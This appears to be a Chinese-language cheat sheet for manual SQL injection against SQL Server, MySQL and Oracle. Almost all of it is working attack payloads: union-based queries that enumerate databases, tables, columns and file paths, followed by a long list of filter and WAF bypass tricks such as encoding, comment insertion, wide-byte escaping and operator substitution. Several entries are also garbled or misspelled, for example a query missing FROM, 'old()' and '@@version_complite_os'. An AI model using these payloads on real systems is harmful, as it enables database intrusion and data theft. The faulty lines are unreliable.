要进行手工注入的前提是你已经知道了目标数据库类型。可以使用 -云悉- 或者 -SQLMAP- 来确认数据库。
知道了数据库之后我们才能对症下药。常见的数据库类型有:
SQL Server
My SQL
Oracle
SQL Server
判断是否存在注入点:
?id=x and 1=1 -- 正确
?id=x and 1=2 -- 出错
获取数据库名:
?id=x union all SELECT * FROM sys.databases
获取数据库中的表名:
?id=x union all SELECT * INFORMATION_SCHEMA.TABLES
获取表中的列名:
?id=x union all select * from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='表名'
获取数据库数据文件:
?id=x union all select * from sys.database_files
函数/符号:
用户登录标识名:suser_name()
数据库用户名:user_name()
数据库名:db_name()
服务器计算机的名称:HOST_NAME()
是否为数据库角色:is_member(‘数据库名’)
SQL Server 版本:@@VERSION
SQL Server 服务器名称:@@SERVERNAME
表中指定字段的长度:COL_LENGTH(table,column)
表中指定字段的名:COL_NAME(table_id,column_id)
数据类型转换:convert(转换类型,变量)
连接字符串:‘aaa’+‘bbb’=‘aaabbb’
注释:
单行注释:–(两个’-’),/*
多行注释:/**/
基于错误的注入:
' having 1=1--
MySQL
判断是否存在注入:
?id=x and 1=1# 正确
?id=x and 1=2# 出错
获取数据库名:
?id=x union all SELECT database();
?id=x union all SELECT schema_name FROM information_schema.schemata;
?id=x union all SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
获取数据库中表名:
?id=x union all SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;-- MySQL 4版本时用version=9,MySQL 5版本时用version=10
获取表中列名:
?id=x union all SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
获取数据文件存放路径:
?id=x union all show variables like '%datadir%'
函数/符号:
数据库版本:VERSION(),@@VERSION,@@GLOBAL.VERSION
服务器主机名:@@HOSTNAME
数据库路径:@@datadir
MtSQL版本:@@version
MySQL安装路径:basedir
操作系统:@@version_complite_os
用户名:user()
当前用户名:current_user()
系统用户名:system_user()
当前数据库:database(), schema()
注释:
单行注释:# , --(需要在后面加空格),/*
多行注释:/**/
基于错误的注入:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
Oracle
判断是否存在注入:
?id=x and (select count (*) fromuser_tables)>0-- 正确
?id=x and (select count (*) from dual)>0-- 正确
获取数据库名:
?id=x union all select name from v$database
获取所有表名:
?id=x union all select table_name from user_tables
获取表中列名:
?id=x union all SELECT table_name, column_name, data_type FROM all_tab_cols WHERE table_name = 'tablename '
获取数据库文件存放路径:
?id=x union all select file_name from sys.dba_data_files
函数/字符:
取当前用户权限:select * from session_roles
当前数据库版本:select banner from sys.v_$version where rownum=1
服务器操作系统:select member from v$logfile where rownum=1
当前连接用户:select SYS_CONTEXT('USERENV','CURRENT_USER') from dual
注释:
单行注释:–(需要在后面加空格),/*
多行注释:/**/
基于错误的注入:
https://segmentfault.com/a/1190000013859761
绕过后端过滤
大小写绕过:
原:select
绕:Select
内联注释绕过(MySQL):
原:select
绕:/*!select*/
双写关键字绕过:
原:select
绕:seleselectct
十六进制绕过:
原:username = 'test1';
绕:username = 0x7465737431;
ascii编码绕过:
原:username = 'Test';
绕:username = CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116)
空格绕过:
/**/
() 注意:括号内不能存在*
%0a (也可以直接按回车)
`
tap(直接按)
(按两次空格)
逻辑符绕过:
and = &&
or = ||
xor = | # 异或
not = !
等号绕过:
原:id = 1
绕:id like 1
绕:id rlike 1
绕:id > 0 and id < 2
绕:!(id <> 1) 注意:<>的意思是!=
原:substr(username,1,1)='t'
绕:substr(username,1,1) in ('t')
大于号小于号绕过:
原:id = 1 and ascii(substr(username,1,1))>1
绕:id = 1 and greatest(ascii(substr(username,1,1)),1)=ascii(substr(username,1,1))
原:substr(username,1,1)>'a' and substr(username,1,1)<'z'
绕:substr(username,1,1) between 'a' and 'z'
substr(): 字符串截断
greatest(): 返回较大值
least(): 返回较小值
strcmp(str1,str2):第一个小于第二个返回-1,其余返回1
单引号双引号绕过:
原:username='test'
绕:username=0x74657374
宽字节绕过(仅限GBK编码)
原理:在后台为了对特殊字符进行转义,需要在字符前加上反斜杠,比如转义 ’ 时,就是 \ ’ ,\ 的url编码是%5c,前面再加上%df的话就会变成 ’ 運 ’ 这个繁体字。从而吸收掉了 \
原:'
绕:%df'
逗号绕过(盲注基本离不开逗号):
原:select substr("string",1,3)
绕:select substr("string" from 1 for 3)
原:union select 1,2,3
绕:union select * from (select 1)a join (select 2)b join(select 3)c
原:select ascii(substr(user(),1,1))=114
绕:select user() like "t%"
原:select * from users limit 2,1
绕:select * from users limit 1 offset 2
关键函数绕过:
sleep(1) —— benchmark(1000000000,1)
ascii() —— hex() —— bin() —— old()
group_concat() —— concat_ws()
substr() —— substring() —— mid() —— left() —— right()